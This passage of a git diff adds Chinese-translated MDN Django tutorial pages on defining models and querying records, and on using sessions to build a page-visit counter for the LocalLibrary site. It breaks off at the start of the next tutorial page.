</font></font><font><font><font><font>用于指定与另一个数据库模型的一对多关系(例如,汽车有一个制造商,但制造商可以制作许多汽车)。</font></font></font><font><font><font>关系的“一”侧是包含密钥的模型。</font></font></font></font></li> + <li><font><font><a href="https://docs.djangoproject.com/en/1.10/ref/models/fields/#manytomanyfield" rel="noopener"><font><font>ManyToManyField</font></font></a> </font></font><font><font><font><font>用于指定</font></font></font></font><a href="https://docs.djangoproject.com/en/1.10/ref/models/fields/#manytomanyfield" rel="noopener"><font><font><font><font>多对多</font></font></font></font></a><font><font><font><font>关系(例如,一本书可以有几种类型,每种类型可以包含几本书)。</font></font></font><font><font><font>在我们的图书馆应用程序中,我们将非常类似地使用它们ForeignKeys,但是可以用更复杂的方式来描述组之间的关系。</font></font></font><font><font><font>这些具有参数 </font></font><code>on_delete</code><font><font> 来定义关联记录被删除时会发生什么(例如,值 </font></font><code>models.SET_NULL</code><font><font> 将简单地设置为值NULL )。</font></font></font></font></li> +</ul> + +<p><font><font><font><font>还有许多其他类型的字段,包括不同类型数字的字段(大整数,小整数,浮点数),布林值,URLs,唯一ids和其他“时间相关”的信息(持续时间,时间等)。</font></font></font><font><font><font>你可以查阅</font></font></font></font><a href="https://docs.djangoproject.com/en/1.10/ref/models/fields/#field-types" rel="noopener"><font><font><font><font>完整列表</font></font></font></font></a><font><font> <font><font> .</font></font></font></font></p> + +<h4 id="元数据Metadata"><font><font><font><font>元数据(Metadata)</font></font></font></font></h4> + +<p><font><font>你可以通过宣告 class Meta 来宣告模型级别的元数据,如图所示:</font></font></p> + +<pre class="notranslate"><code>class Meta: + ordering = ['-my_field_name'] +</code></pre> + +<p><font><font><font><font>此元数据最有用的功能之一是控制在查询模型类型时返回之记录的默认排序。</font></font></font><font><font><font>你可以透过在</font></font></font></font><code>ordering</code><font><font><font><font>属性的字段名称列表中指定匹配顺序来执行此操作,如上所示。</font></font></font><font><font><font>排序将依赖字段的类型(字符串字段按字母顺序排序,而日期字段按时间顺序排序)。</font></font></font><font><font><font>如上所示,你可以使用减号(-)对字段名称进行前缀,以反转排序顺序。</font></font></font></font></p> + +<p><font><font><font><font>例如,如果我们选择依照此预设来排列书单:</font></font></font></font></p> + +<pre class="notranslate"><code>ordering = ['title', '-pubdate']</code></pre> + +<p><font><font><font><font>书单通过标题依据--字母排序--排列,从A到Z,然后再依每个标题的出版日期,从最新到最旧排列。</font></font></font></font></p> + +<p><font><font><font><font>另一个常见的属性是 </font></font></font></font><code>verbose_name</code><font><font><font><font>,一个 </font></font></font></font><code>verbose_name</code><font><font><font><font>说明单数和复数形式的类别。</font></font></font></font></p> + +<pre class="notranslate"><code>verbose_name = 'BetterName'</code></pre> + +<p><font><font><font><font>其他有用的属性允许你为模型创建和应用新的“访问权限”(预设权限会被自动套用),允许基于其他的字段排序,或声明该类是”抽象的“(你无法创建的记录基类,并将由其他型号派生)。</font></font></font></font></p> + +<p><font><font><font><font>许多其他元数据选项控制模型中必须使用哪些数据库以及数据的存储方式。</font></font></font><font><font><font>(如果你需要模型映射一个现有数据库,这会有用)。</font></font></font></font></p> + +<p><font><font><font><font>完整有用的元数据选项在这里</font></font></font></font><a href="https://docs.djangoproject.com/en/1.10/ref/models/options/" rel="noopener"><font><font><font><font>Model metadata options</font></font></font></font></a><font><font> <font><font> (Django docs).</font></font></font></font></p> + +<h4 id="方法Methods"><font><font><font><font>方法(Methods)</font></font></font></font></h4> + +<p><font><font><font><font>一个模型也可以有方法。</font></font></font></font></p> + +<p><strong><font><font><font><font>最起码,在每个模型中,你应该定义标准的Python类方法</font></font></font></font><code>__str__()</code> </strong><font><font><font><font>,</font></font><strong><font><font>来为每个物件返回一个人类可读的字符串</font></font></strong><font><font>。</font></font></font><font><font><font>此字符用于表示管理站点的各个记录(以及你需要引用模型实例的任何其他位置)。</font></font></font><font><font><font>通常这将返回模型中的标题或名称字段。</font></font></font></font></p> + +<pre class="notranslate"><code>def __str__(self): + return self.field_name</code></pre> + +<p><font><font><font>Django方法中另一个常用方法是</font></font></font> <code>get_absolute_url()</code> <font><font><font>,这函数返回一个在网站上显示个人模型记录的URL(如果你定义了该方法,那么Django将自动在“管理站点”中添加“在站点中查看“按钮在模型的记录编辑栏)。</font></font></font><code>get_absolute_url()</code><font><font><font>的典型示例如下:</font></font></font></p> + +<pre class="notranslate"><code>def get_absolute_url(self): + """Returns the url to access a particular instance of the model.""" + return reverse('model-detail-view', args=[str(self.id)]) +</code></pre> + +<p><strong><font><font><font><font>注意</font></font></font></font></strong><font><font> <font><font> :假设你将使用URL </font></font></font></font><code>/myapplication/mymodelname/2</code> <font><font><font><font>来显示模型的单个记录(其中“2”是id特定记录),则需要创建一个URL映射器来将响应和id传递给“模型详细视图” (这将做出显示记录所需的工作)。</font></font></font><font><font><font>以上示例中,</font></font></font></font><code>reverse()</code><font><font><font><font>函数可以“反转”你的url映射器(在上诉命名为“model-detail-view”的案例中,以创建正确格式的URL。</font></font></font></font></p> + +<p><font><font><font><font>当然要做这个工作,你还是要写URL映射,视图和模版!</font></font></font></font></p> + +<p><font><font>你可以定义一些你喜欢的其他方法,并从你的代码或模版调用它们(只要它们不带任何参数)。</font></font></p> + +<h3 id="Model_management">Model management</h3> + +<p><font><font><font>一旦你定义了模型类,你可以使用它们来创建,更新或删除记录,并运行查询获取所有记录或特定的记录子集。</font></font></font><font><font><font>当我们定义我们的视图,我们将展示给你在这个教程如何去做。</font></font></font></p> + +<h4 id="创建和修改记录"><font><font><font><font>创建和修改记录</font></font></font></font></h4> + +<p><font><font>要创建一个记录,你可以定义一个模型实例,然后呼叫 </font></font><code>save()</code><font><font>。</font></font></p> + +<pre class="brush: python notranslate"># Create a new record using the model's constructor. +a_record = MyModelName(my_field_name="Instance #1") + +# Save the object into the database. +a_record.save() +</pre> + +<div class="note"> +<p><strong><font><font>注:</font></font></strong><font><font>如果没有任何的栏位被宣告为</font></font><code>主鍵</code><font><font>,这笔新的纪录会被自动的赋予一个主键并将主键栏命名为</font></font><code>id</code><font><font>。</font><font>上例的那笔资料被储存后,试着查询这笔纪录会看到它被自动赋予1的编号。</font></font></p> +</div> + +<p><font><font>你可以透过「点(dot)的语法」取得或变更这笔新资料的栏位(字段)。</font><font>你需要呼叫</font></font><code>save()</code><font><font>将变更过的资料存进资料库:</font></font></p> + +<pre class="brush: python notranslate"># Access model field values using Python attributes. +print(a_record.id) #should return 1 for the first record. +print(a_record.my_field_name) # should print 'Instance #1' + +# Change record by modifying the fields, then calling save(). +a_record.my_field_name="New Instance Name" +a_record.save()</pre> + +<h4 id="搜寻纪录"><font><font>搜寻纪录</font></font></h4> + +<p><font><font>你可以使用模型的 </font></font><code>objects</code><font><font> 属性(由base class提供)搜寻符合某个条件的纪录</font></font></p> + +<div class="note"> +<p><strong>Note</strong>: <font><font>要用"抽象的"模型还有栏位说明怎么搜寻纪录可能会有点令人困惑。</font><font>我们会以一个Book模型,其包含</font></font><code>title</code><font><font>与</font></font><code>genre</code><font><font>字段,而genre也是一个仅有</font></font><code>name</code><font><font>一个字段的模型。</font></font></p> +</div> + +<p><font><font>我们可以取得一个模型的所有纪录,为一个 </font></font><code>QuerySet</code><font><font> 使用</font></font><code>objects.all()。</code> <code>QuerySet</code><font><font> 是一个可迭代的物件,表示他含有多个物件,而我们可以藉由迭代/回圈取得每个物件。</font></font></p> + +<pre class="brush: python notranslate">all_books = Book.objects.all() +</pre> + +<p><font><font>Django的 </font></font><code>filter()</code><font><font>方法让我们可以透过符合特定文字或数值的字段筛选回传的</font></font><code>QuerySet</code><font><font>。</font><font>例如筛选书名里有"wild"的书并且计算总数,如下面所示。</font></font></p> + +<pre class="brush: python notranslate">wild_books = Book.objects.filter(title__contains='wild') +number_wild_books = Book.objects.filter(title__contains='wild').count() +</pre> + +<p><font><font>要比对的字段与比对方法都要被定义在筛选的参数名称里,并且使用这个格式:</font></font><code>比對字段__比對方法</code><font><font> (请注意上方范例中的 </font></font><code>title</code><font><font> 与 </font></font><code>contains</code><font><font> 中间隔了两个底线唷)。</font><font>在上面我们使用大小写区分的方式比对</font></font><code>title</code><font><font>。</font><font>还有很多比对方式可以使用: </font></font><code>icontains</code><font><font>(不区分大小写), </font></font><code>iexact</code><font><font>(大小写区分且完全符合), </font></font><code>exact</code><font><font>(不区分大小写但完全符合)还有 </font></font><code>in</code><font><font>, </font></font><code>gt</code><font><font>(大于), </font></font><code>startswith</code><font><font>,之类的。</font></font><a href="https://docs.djangoproject.com/en/2.0/ref/models/querysets/#field-lookups" rel="noopener"><font><font>全部的用法在这里。</font></font></a></p> + +<p><font><font>有时候你会须要透过某个一对多的字段来筛选(例如一个 </font></font><code>外鍵</code><font><font>)。</font><font>这样的状况下,你可以使用两个底线来指定相关模型的字段。</font><font>例如透过某个特定的genre名称筛选书籍,如下所示:</font></font></p> + +<pre class="brush: python notranslate">books_containing_genre = Book.objects.filter(genre<strong>__</strong>name<strong>__</strong>icontains='fiction') # Will match on: Fiction, Science fiction, non-fiction etc. +</pre> + +<div class="note"> +<p><strong>Note</strong>: 你可以用下划线来表示不同关系 (<code>ForeignKey</code>/<code>ManyToManyField</code>) .例如,一本书有不同的类型,用“cover“关系可能会帮助起一个参数名字 <code>type__cover__name__exact='hard'.</code></p> +</div> + +<p><font><font>还有很多是你可以用索引(queries)来做的,包含从相关的模型做向后查询(backwards searches)、连锁过滤器(chaining filters)、回传「值的小集合」等。</font><font>更多资讯可以到 </font></font><a href="https://docs.djangoproject.com/en/2.0/topics/db/queries/" rel="noopener"><font><font>Making queries</font></font></a><font><font> (Django Docs)查询。</font></font></p> + +<h2 id="Defining_the_LocalLibrary_Models">Defining the LocalLibrary Models</h2> + +<p>In this section we will start defining the models for the library. Open <em>models.py (in /locallibrary/catalog/)</em>. The boilerplate at the top of the page imports the <em>models</em> module, which contains the model base class <code>models.Model</code> that our models will inherit from.</p> + +<pre class="brush: python notranslate">from django.db import models + +# Create your models here.</pre> + +<h3 id="Genre_model">Genre model</h3> + +<p>Copy the Genre model code shown below and paste it into the bottom of your <code>models.py</code> file. This model is used to store information about the book category — for example whether it is fiction or non-fiction, romance or military history, etc. As mentioned above, we've created the Genre as a model rather than as free text or a selection list so that the possible values can be managed through the database rather than being hard coded.</p> + +<pre class="brush: python notranslate">class Genre(models.Model): + """ + Model representing a book genre (e.g. Science Fiction, Non Fiction). + """ + name = models.CharField(max_length=200, help_text="Enter a book genre (e.g. Science Fiction, French Poetry etc.)") + + def __str__(self): + """ + String for representing the Model object (in Admin site etc.) + """ + return self.name</pre> + +<p>The model has a single <code>CharField</code> field (<code>name</code>), which is used to describe the genre (this is limited to 200 characters and has some <code>help_text</code>. At the end of the model we declare a <code>__str__()</code> method, which simply returns the name of the genre defined by a particular record. No verbose name has been defined, so the field will be called <code>Name</code> in forms.</p> + +<h3 id="Book_model">Book model</h3> + +<p>Copy the Book model below and again paste it into the bottom of your file. The book model represents all information about an available book in a general sense, but not a particular physical "instance" or "copy" available for loan. The model uses a <code>CharField</code> to represent the book's <code>title</code> and <code>isbn</code> (note how the <code>isbn</code> specifies its label as "ISBN" using the first unnamed parameter because the default label would otherwise be "Isbn"). The model uses <code>TextField</code> for the <code>summary</code>, because this text may need to be quite long.</p> + +<pre class="brush: python notranslate">from django.urls import reverse #Used to generate URLs by reversing the URL patterns + +class Book(models.Model): + """ + Model representing a book (but not a specific copy of a book). + """ + title = models.CharField(max_length=200) + author = models.ForeignKey('Author', on_delete=models.SET_NULL, null=True) + # Foreign Key used because book can only have one author, but authors can have multiple books + # Author as a string rather than object because it hasn't been declared yet in the file. + summary = models.TextField(max_length=1000, help_text="Enter a brief description of the book") + isbn = models.CharField('ISBN',max_length=13, help_text='13 Character <a href="https://www.isbn-international.org/content/what-isbn">ISBN number</a>') + genre = models.ManyToManyField(Genre, help_text="Select a genre for this book") + # ManyToManyField used because genre can contain many books. Books can cover many genres. + # Genre class has already been defined so we can specify the object above. + + def __str__(self): + """ + String for representing the Model object. + """ + return self.title + + + def get_absolute_url(self): + """ + Returns the url to access a particular book instance. + """ + return reverse('book-detail', args=[str(self.id)]) +</pre> + +<p>The genre is a <code>ManyToManyField</code>, so that a book can have multiple genres and a genre can have many books. The author is declared as <code>ForeignKey</code>, so each book will only have one author, but an author may have many books (in practice a book might have multiple authors, but not in this implementation!)</p> + +<p>In both field types the related model class is declared as the first unnamed parameter using either the model class or a string containing the name of the related model. You must use the name of the model as a string if the associated class has not yet been defined in this file before it is referenced! The other parameters of interest in the <code>author</code> field are <code>null=True</code>, which allows the database to store a <code>Null</code> value if no author is selected, and <code>on_delete=models.SET_NULL</code>, which will set the value of the author to <code>Null</code> if the associated author record is deleted.</p> + +<p>The model also defines <code>__str__()</code> , using the book's <code>title</code> field to represent a <code>Book</code> record. The final method, <code>get_absolute_url()</code> returns a URL that can be used to access a detail record for this model (for this to work we will have to define a URL mapping that has the name <code>book-detail</code>, and define an associated view and template).</p> + +<h3 id="BookInstance_model">BookInstance model</h3> + +<p>Next, copy the <code>BookInstance</code> model (shown below) under the other models. The <code>BookInstance</code> represents a specific copy of a book that someone might borrow, and includes information about whether the copy is available or on what date it is expected back, "imprint" or version details, and a unique id for the book in the library.</p> + +<p>Some of the fields and methods will now be familiar. The model uses</p> + +<ul> + <li><code>ForeignKey</code> to identify the associated Book (each book can have many copies, but a copy can only have one <code>Book</code>).</li> + <li><code>CharField</code> to represent the imprint (specific release) of the book.</li> +</ul> + +<pre class="brush: python notranslate">import uuid # Required for unique book instances + +class BookInstance(models.Model): + """ + Model representing a specific copy of a book (i.e. that can be borrowed from the library). + """ + id = models.UUIDField(primary_key=True, default=uuid.uuid4, help_text="Unique ID for this particular book across whole library") + book = models.ForeignKey('Book', on_delete=models.SET_NULL, null=True) + imprint = models.CharField(max_length=200) + due_back = models.DateField(null=True, blank=True) + + LOAN_STATUS = ( + ('m', 'Maintenance'), + ('o', 'On loan'), + ('a', 'Available'), + ('r', 'Reserved'), + ) + + status = models.CharField(max_length=1, choices=LOAN_STATUS, blank=True, default='m', help_text='Book availability') + + class Meta: + ordering = ["due_back"] + + + def __str__(self): + """ + String for representing the Model object + """ + return '%s (%s)' % (self.id,self.book.title)</pre> + +<p>We additionally declare a few new types of field:</p> + +<ul> + <li><code>UUIDField</code> is used for the <code>id</code> field to set it as the <code>primary_key</code> for this model. This type of field allocates a globally unique value for each instance (one for every book you can find in the library).</li> + <li><code>DateField</code> is used for the <code>due_back</code> date (at which the book is expected to come available after being borrowed or in maintenance). This value can be <code>blank</code> or <code>null</code> (needed for when the book is available). The model metadata (<code>Class Meta</code>) uses this field to order records when they are returned in a query.</li> + <li><code>status</code> is a <code>CharField</code> that defines a choice/selection list. As you can see, we define a tuple containing tuples of key-value pairs and pass it to the choices argument. The value in a key/value pair is a display value that a user can select, while the keys are the values that are actually saved if the option is selected. We've also set a default value of 'm' (maintenance) as books will initially be created unavailable before they are stocked on the shelves.</li> +</ul> + +<p>The model <code>__str__()</code> represents the <code>BookInstance</code> object using a combination of its unique id and the associated <code>Book</code>'s title.</p> + +<div class="note"> +<p><strong>Note</strong>: A little Python:</p> + +<ul> + <li>The value returned by <code>__str__()</code> is a <em>formatted string</em>. Within the string we use <code>%s</code> to declare "placeholders'. After the string we specify <code>%</code> and then a tuple containing the values to be inserted in the placeholders. If you just have one placeholder then you can omit the tuple — e.g. <code>'My value: %s' % variable.</code><br> + <br> + Note also that although this approach is perfectly valid, please be aware that it is no longer prefered. Since Python 3 you should instead use the format method, eg. '{0} ({1})'.format(self.id,self.book.title). You can read more about it <a href="https://www.python.org/dev/peps/pep-3101/">here</a>.</li> +</ul> +</div> + +<h3 id="Author_model">Author model</h3> + +<p>Copy the <code>Author</code> model (shown below) underneath the existing code in <strong>models.py</strong>.</p> + +<p>All of the fields/methods should now be familiar. The model defines an author as having a first name, last name, date of birth, and (optional) date of death. It specifies that by default the <code>__str__()</code> returns the name in <em>last name</em>, <em>firstname </em>order. The <code>get_absolute_url()</code> method reverses the <code>author-detail</code> URL mapping to get the URL for displaying an individual author.</p> + +<pre class="brush: python notranslate">class Author(models.Model): + """ + Model representing an author. + """ + first_name = models.CharField(max_length=100) + last_name = models.CharField(max_length=100) + date_of_birth = models.DateField(null=True, blank=True) + date_of_death = models.DateField('Died', null=True, blank=True) + + def get_absolute_url(self): + """ + Returns the url to access a particular author instance. + """ + return reverse('author-detail', args=[str(self.id)]) + + + def __str__(self): + """ + String for representing the Model object. + """ + return '%s, %s' % (self.last_name, self.first_name) +</pre> + +<h2 id="Re-run_the_database_migrations">Re-run the database migrations</h2> + +<p>All your models have now been created. Now re-run your database migrations to add them to your database.</p> + +<pre class="notranslate"><code>python3 manage.py makemigrations +python3 manage.py migrate</code></pre> + +<h2 id="Language_model_—_challenge">Language model — challenge</h2> + +<p>Imagine a local benefactor donates a number of new books written in another language (say, Farsi). The challenge is to work out how these would be best represented in our library website, and then to add them to the models.</p> + +<p>Some things to consider:</p> + +<ul> + <li>Should "language" be associated with a <code>Book</code>, <code>BookInstance</code>, or some other object?</li> + <li>Should the different languages be represented using model, a free text field, or a hard-coded selection list?</li> +</ul> + +<p>After you've decided, add the field. You can see what we decided on Github <a href="https://github.com/mdn/django-locallibrary-tutorial/blob/master/catalog/models.py">here</a>.</p> + +<ul> +</ul> + +<ul> +</ul> + +<h2 id="Summary">Summary</h2> + +<p>In this article we've learned how models are defined, and then used this information to design and implement appropriate models for the <em>LocalLibrary</em> website.</p> + +<p>At this point we'll divert briefly from creating the site, and check out the <em>Django Administration site</em>. This site will allow us to add some data to the library, which we can then display using our (yet to be created) views and templates.</p> + +<h2 id="See_also">See also</h2> + +<ul> + <li><a href="https://docs.djangoproject.com/en/1.10/intro/tutorial02/">Writing your first Django app, part 2</a> (Django docs)</li> + <li><a href="https://docs.djangoproject.com/en/1.10/topics/db/queries/">Making queries</a> (Django Docs)</li> + <li><a href="https://docs.djangoproject.com/en/1.10/ref/models/querysets/">QuerySet API Reference</a> (Django Docs)</li> +</ul> + +<p>{{PreviousMenuNext("Learn/Server-side/Django/skeleton_website", "Learn/Server-side/Django/Admin_site", "Learn/Server-side/Django")}}</p> diff --git a/files/zh-cn/learn/server-side/django/sessions/index.html b/files/zh-cn/learn/server-side/django/sessions/index.html new file mode 100644 index 0000000000..d6b95b0157 --- /dev/null +++ b/files/zh-cn/learn/server-side/django/sessions/index.html @@ -0,0 +1,190 @@ +--- +title: 'Django 教程 7: 会话框架' +slug: learn/Server-side/Django/Sessions +translation_of: Learn/Server-side/Django/Sessions +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/Server-side/Django/Generic_views", "Learn/Server-side/Django/authentication_and_sessions", "Learn/Server-side/Django")}}</div> + +<p class="summary" style='font-style: normal; margin: 0px 0px 20px; padding: 20px 0px; border-width: 3px 0px; border-style: solid; border-color: rgb(131, 208, 242); max-width: 42rem; font-size: 1.25rem; color: rgb(51, 51, 51); font-family: "Open Sans", arial, x-locale-body, sans-serif; font-weight: 400; letter-spacing: normal; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; background-color: rgb(255, 255, 255); text-decoration-style: initial;'><font><font>本教程扩展了我们的</font></font><a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website" style='font-style: normal; color: rgb(63, 135, 166); margin: 0px; padding: 0px; border: 0px; text-decoration: none; font-family: "Open Sans", arial, x-locale-body, sans-serif; font-size: 20px; font-weight: 400; letter-spacing: normal; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; background-color: rgb(255, 255, 255);'><font><font>LocalLibrary</font></font></a><font><font>网站,为主页添加了一个基于会话的访问计数器。</font><font>这是一个相对简单的例子,但它确实显示了,如何使用会话框架为匿名用户提供持久的行为。</font></font></p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">先决条件:</th> + <td>完成之前的所有教程主题,包括<a href="/zh-CN/docs/Learn/Server-side/Django/Generic_views">Django教程6:通用列表和详细信息视图</a></td> + </tr> + <tr> + <th scope="row">目标:</th> + <td>了解会话的使用方式。</td> + </tr> + </tbody> +</table> + +<h2 id="概览">概览</h2> + +<p>我们在之前的教程中创建的<a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">LocalLibrary</a>网站,允许用户浏览目录中的书本和作者。虽然内容是从数据库动态生成的,但每个用户在使用站点时,基本上都可以访问相同的页面,和相同类型的信息。</p> + +<p>在一个 “真实” 的图书馆中,您可能希望根据用户之前对站点的使用,首选项等,为个人用户提供自定义体验。例如,您可以在用户下次访问时,隐藏上次已经确认的警告消息。网站,或存储和尊重他们的偏好(例如,他们希望在每个页面上显示的搜索结果的数量)。</p> + +<p><br> + 会话框架允许您实现此类行为,允许您基于每个站点访问者,以储存和检索任意数据。</p> + +<h2 id="会话是什么?">会话是什么?</h2> + +<p>Web浏览器和服务器之间的所有通信,都是通过HTTP协议进行的,该协议是无状态的。协议无状态的事实,意味着客户端和服务器之间的消息,完全相互独立 - 没有基于先前消息的“序列”或行为的概念。因此,如果您想拥有一个追踪与客户的持续关系的网站,您需要自己实现。</p> + +<p>会话是Django(以及大多数Internet)用于跟踪站点和特定浏览器之间“状态”的机制。会话允许您为每个浏览器存储任意数据,并在浏览器连接时,将该数据提供给站点。然后,通过“密钥”引用与会话相关联的各个数据项,“密钥”用于存储和检索数据。</p> + +<p>Django使用包含特殊会话ID的cookie,来识别每个浏览器,及其与该站点的关联会话。默认情况下,实际会话数据存储在站点数据库中(这比将数据存储在cookie中更安全,因为它们更容易受到恶意用户的攻击)。您可以将Django配置为,将会话数据存储在其他位置(缓存,文件,“安全”cookie),但默认位置是一个良好且相对安全的选项。</p> + +<h2 id="启用会话">启用会话</h2> + +<p>我们<a href="/zh-CN/docs/Learn/Server-side/Django/skeleton_website">创建骨架网站</a>时,会自动启用会话(在教程2中)。</p> + +<p>配置在项目文件(<strong>locallibrary / locallibrary / settings.py</strong>)的<code>INSTALLED_APPS</code> 和 <code>MIDDLEWARE</code> 部分中设置,如下所示:</p> + +<pre class="brush: python">INSTALLED_APPS = [ + ... +<strong> 'django.contrib.sessions',</strong> + .... + +MIDDLEWARE = [ + ... +<strong> 'django.contrib.sessions.middleware.SessionMiddleware',</strong> + ....</pre> + +<h2 id="使用会话">使用会话</h2> + +<p>您可以从<code>request</code>请求参数访问视图中的<code>session</code>会话属性(作为视图的第一个参数传入的<code>HttpRequest</code>)。此会话属性,表示与当前用户的特定连接(或者更确切地说,是与当前浏览器的连接,由此站点的浏览器cookie中的会话ID标识)。</p> + +<p>会话<code>session</code>属性是一个类似字典的对象,您可以在视图中多次读取和写入,并根据需要进行修改。您可以执行所有常规的字典操作,包括清除所有数据,测试是否存在密钥,循环数据等。大多数情况下,您只需使用标准 “字典” API,来获取和设置值。</p> + +<p>下面的代码片段,显示了如何使用与当前会话(浏览器)关联的密钥“<code>my_car</code>”来获取,设置和删除某些数据。</p> + +<div class="note"> +<p><strong>注意</strong>: 关于Django的一个好处是,你不需要考虑在你的视图中,将会话与当前请求联系起来的机制。如果我们在视图中,使用下面的片段,我们就知道有关<code>my_car</code>的信息,仅与发送当前请求的浏览器相关联。</p> +</div> + +<pre class="brush: python"># Get a session value by its key (e.g. 'my_car'), raising a KeyError if the key is not present +my_car = request.session['my_car'] + +# Get a session value, setting a default if it is not present ('mini') +my_car = request.session.get('my_car', 'mini') + +# Set a session value +request.session['my_car'] = 'mini' + +# Delete a session value +del request.session['my_car'] +</pre> + +<p>API还提供了许多其他方法,主要用于管理关联的会话cookie。例如,有一些方法,可以测试客户端浏览器,是否支持cookie,设置和检查cookie过期日期,以及从数据存储中清除过期的会话。您可以在<a href="https://docs.djangoproject.com/en/2.0/topics/http/sessions/">如何使用会话</a>(Django文档)中找到完整的API。</p> + +<h2 id="保存会话数据">保存会话数据</h2> + +<p>默认情况下,Django仅保存到会话数据库,并在会话被修改(分配)或删除时,将会话cookie发送到客户端。如果您使用会话密钥更新某些数据,如上一节所示,那么您无需担心这一点!例如:</p> + +<pre class="brush: python"># This is detected as an update to the session, so session data is saved. +request.session['my_car'] = 'mini'</pre> + +<p>如果您正在更新会话数据中的某些信息,那么Django将无法识别您已对会话进行了更改并保存了数据(例如,如果您要更改“<code>my_car</code>”数据中的“轮子”<code>wheels</code>数据,如下所示)。在这种情况下,您需要将会话明确标记为已修改。</p> + +<pre class="brush: python"># Session object not directly modified, only data within the session. Session changes not saved! +request.session['my_car']['wheels'] = 'alloy' + +# Set session as modified to force data updates/cookie to be saved. +<code>request.session.modified = True</code> +</pre> + +<div class="note"> +<p><strong>注意</strong>: 您可以通过将<code>SESSION_SAVE_EVERY_REQUEST = True</code>添加到项目设置(<strong>locallibrary/locallibrary/settings.py</strong>),以更改站点行为,站点将在每个请求上更新数据库/发送cookie。</p> +</div> + +<h2 id="简单的例子_-_获取访问次数">简单的例子 - 获取访问次数</h2> + +<p>作为一个简单的现实世界的例子,我们将更新我们的图书馆,告诉当前用户,他们访问 LocalLibrary 主页的次数。</p> + +<p>打开<strong>/locallibrary/catalog/views.py</strong>,并在下面以粗体显示更改。</p> + +<pre class="brush: python">def index(request): + ... + + num_authors=Author.objects.count() # The 'all()' is implied by default. + +<strong> # Number of visits to this view, as counted in the session variable. + num_visits=request.session.get('num_visits', 0) + request.session['num_visits'] = num_visits+1</strong> + + # Render the HTML template index.html with the data in the context variable. + return render( + request, + 'index.html', +<strong> context={'num_books':num_books,'num_instances':num_instances,'num_instances_available':num_instances_available,'num_authors':num_authors, + 'num_visits':num_visits}, # num_visits appended</strong> + )</pre> + +<p>这里,我们首先得到'<code>num_visits</code>'会话密钥的值,如果之前没有设置,则将值设置为0。每次收到请求时,我们都会递增该值,并将其存回会话中(下次用户访问该页面时)。然后将<code>num_visits</code>变量,传递给上下文变量中的模板。</p> + +<div class="note"> +<p><strong>注意</strong>: 我们也可能会测试浏览器中是否支持cookie(请参阅<a href="https://docs.djangoproject.com/en/2.0/topics/http/sessions/">如何使用会话</a>作为示例),或设计我们的UI,以便无论cookie是否受支持都无关紧要。</p> +</div> + +<p>将以下区块底部那一行,添加到主HTML模板(<strong>/locallibrary/catalog/templates/index.html</strong>)的 “动态内容” 部分底部,以显示上下文变量:</p> + +<pre class="brush: html"><h2>Dynamic content</h2> + +<p>The library has the following record counts:</p> +<ul> +<li><strong>Books:</strong> \{{ num_books }}</li> +<li><strong>Copies:</strong> \{{ num_instances }}</li> +<li><strong>Copies available:</strong> \{{ num_instances_available }}</li> +<li><strong>Authors:</strong> \{{ num_authors }}</li> +</ul> + +<strong><p>You have visited this page \{{ num_visits }}{% if num_visits == 1 %} time{% else %} times{% endif %}.</p></strong> +</pre> + +<p>保存更改,并重新启动测试服务器。每次刷新页面时,数字都应该更新。</p> + +<ul> +</ul> + +<h2 id="总结">总结</h2> + +<p>你现在知道,使用sessions 改善与匿名使用者的互动,有多么容易了。</p> + +<p>在我们的下一篇文章,我们将解释授权与许可框架,并演示如何支持使用者帐户。</p> + +<h2 id="参见">参见</h2> + +<ul> + <li><a href="https://docs.djangoproject.com/en/2.0/topics/http/sessions/">如何使用会话</a> (Django 文档)</li> +</ul> + +<p>{{PreviousMenuNext("Learn/Server-side/Django/Generic_views", "Learn/Server-side/Django/Authentication", "Learn/Server-side/Django")}}</p> + +<p> </p> + +<h2 id="本教程">本教程</h2> + +<ul> + <li><a href="/zh-CN/docs/Learn/Server-side/Django/Introduction">Django 介绍</a></li> + <li><a href="/zh-CN/docs/Learn/Server-side/Django/development_environment">架设 Django 开发环境</a></li> + <li><a href="/zh-CN/docs/Learn/Server-side/Django/Tutorial_local_library_website">Django 教程: The Local Library website</a></li> + <li><a href="/zh-CN/docs/Learn/Server-side/Django/skeleton_website">Django 教程 2: Creating a skeleton website</a></li> + <li><a href="/zh-CN/docs/Learn/Server-side/Django/Models">Django 教程 3: Using models</a></li> + <li><a href="/zh-CN/docs/Learn/Server-side/Django/Admin_site">Django 教程 4: Django admin site</a></li> + <li><a href="/zh-CN/docs/Learn/Server-side/Django/Home_page">Django 教程 5: Creating our home page</a></li> + <li><a href="/zh-CN/docs/Learn/Server-side/Django/Generic_views">Django 教程 6: Generic list and detail views</a></li> + <li><a href="/zh-CN/docs/Learn/Server-side/Django/Sessions">Django 教程 7: Sessions framework</a></li> + <li><a href="/zh-CN/docs/Learn/Server-side/Django/Authentication">Django 教程 8: User authentication and permissions</a></li> + <li><a href="/zh-CN/docs/Learn/Server-side/Django/Forms">Django 教程 9: Working with forms</a></li> + <li><a href="/zh-CN/docs/Learn/Server-side/Django/Testing">Django 教程 10: Testing a Django web application</a></li> + <li><a href="/zh-CN/docs/Learn/Server-side/Django/Deployment">Django 教程 11: Deploying Django to production</a></li> + <li><a href="/zh-CN/docs/Learn/Server-side/Django/web_application_security">Django 网络应用安全</a></li> + <li><a href="/zh-CN/docs/Learn/Server-side/Django/django_assessment_blog">DIY Django 微博</a></li> +</ul> + +<p> </p> diff --git a/files/zh-cn/learn/server-side/django/skeleton_website/index.html b/files/zh-cn/learn/server-side/django/skeleton_website/index.html new file mode 100644 index 0000000000..7b02df197e --- /dev/null +++ b/files/zh-cn/learn/server-side/django/skeleton_website/index.html @@ -0,0 +1,372 @@ +--- +title: 'Django Tutorial Part 2: 创建网站的地基' +slug: learn/Server-side/Django/skeleton_website +translation_of: Learn/Server-side/Django/skeleton_website +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/Server-side/Django/Tutorial_local_library_website", "Learn/Server-side/Django/Models", "Learn/Server-side/Django")}}</div> + +<p class="summary"><a 